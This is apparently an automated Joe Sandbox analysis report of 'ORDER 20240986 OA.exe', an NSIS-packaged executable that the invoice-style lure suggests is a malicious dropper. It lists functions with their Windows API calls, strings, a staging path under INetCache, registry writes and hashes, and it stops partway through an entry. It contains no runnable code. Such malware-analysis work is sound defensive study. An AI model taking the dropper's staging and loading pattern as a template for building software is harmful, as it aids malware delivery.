Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\ORDER 20240986 OA.exe,00000400,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER 20240986 OA.exe,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

vy, xrefs: 00402F6B
"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 00402EDD
Null, xrefs: 00402FD4
Inst, xrefs: 00402FC2
soft, xrefs: 00402FCB
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EE7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
C:\Users\user\Desktop, xrefs: 00402F38, 00402F3D, 00402F43
Error launching installer, xrefs: 00402F2D
C:\Users\user\Desktop\ORDER 20240986 OA.exe, xrefs: 00402EF4, 00402F03, 00402F17, 00402F37

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ORDER 20240986 OA.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-4250594864
Opcode ID: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction ID: 6efc7070ea8ae83888cd6b0cd51e2fb70848d81e0c864f736895acd6ba0a04dc
Opcode Fuzzy Hash: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction Fuzzy Hash: 6251C271901208ABDB20AF65DD85BAE7FA8EB05355F10807BF904B62D5DB7C8E408B9D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(00405336,007924D8,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 00406449
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 00406457
CoTaskMemFree.OLE32(007924D8), ref: 00406462
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 004064E0

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482
Call, xrefs: 004062E3, 004063BE, 004063C5, 004063C9, 004063E3, 004063E4, 004063F9, 0040640C, 00406428, 00406453, 00406487, 0040648D, 004064A9, 004064BC, 004064D9, 004064DF, 004064EB, 0040651E
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi$C:\Users\user\AppData\Local\Temp\nsx1318.tmp$C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll$Call
API String ID: 1941528284-1929218590
Opcode ID: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Strings

UXTHEME, xrefs: 0040660A
\, xrefs: 00406629
%s%S.dll, xrefs: 0040664D

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

... %d%%, xrefs: 0040323A

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction ID: 204c6f4639eb8c290f7f343d6ac391169eef919077521cdf394e4ce58078bb87
Opcode Fuzzy Hash: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction Fuzzy Hash: 7A518931900219EBCB10DF65DA84A9F7FA8AB44366F1441BBED14B62C0D7789F50CBA9

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Strings

C:\Users\user\Desktop, xrefs: 004057CE

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",0040336A,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6), ref: 00405DF5

Strings

"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 00405DBC
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC1, 00405DC5
nsa, xrefs: 00405DC9

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3740495243
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 6FBB177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FBB1B63: GlobalFree.KERNEL32(?), ref: 6FBB1DB6
Part of subcall function 6FBB1B63: GlobalFree.KERNEL32(?), ref: 6FBB1DBB
Part of subcall function 6FBB1B63: GlobalFree.KERNEL32(?), ref: 6FBB1DC0

GlobalFree.KERNEL32(00000000), ref: 6FBB1829
FreeLibrary.KERNEL32(?), ref: 6FBB18AF
GlobalFree.KERNEL32(00000000), ref: 6FBB18D4

Part of subcall function 6FBB2356: GlobalAlloc.KERNEL32(00000040,?), ref: 6FBB2387

Part of subcall function 6FBB2728: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FBB17FA,00000000), ref: 6FBB27F8

Part of subcall function 6FBB15C6: lstrcpyW.KERNEL32(?,6FBB4020,00000000,6FBB15C3,?,00000000,6FBB1753,00000000), ref: 6FBB15DC

Strings

, xrefs: 6FBB18B5

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 2a1e4f610b712ee343c9f2580d3403a480ecd038e982c8afaed9cc9eb3440383
Instruction ID: d241a98a7aded1d1c9ee36f2abbc30b23d870b838e776b2a6f6efd8497280f10
Opcode Fuzzy Hash: 2a1e4f610b712ee343c9f2580d3403a480ecd038e982c8afaed9cc9eb3440383
Instruction Fuzzy Hash: D941AEB14043C49ADB019F34BC84BFA37A8FF06314F48456EE91A9A0C6DFB8E185CB60

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 00402420, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsx1318.tmp
API String ID: 2655323295-2645957968
Opcode ID: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction ID: 82080937d165882f0efaaa77ae0bb3c7350c3cd8b3028382441b60bd8f3f090b
Opcode Fuzzy Hash: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction Fuzzy Hash: 60118171D00104BEEF10AFA5DE89EAEBAB4EB44754F11803BF504B71D1DBB88D419B28

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057CE: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

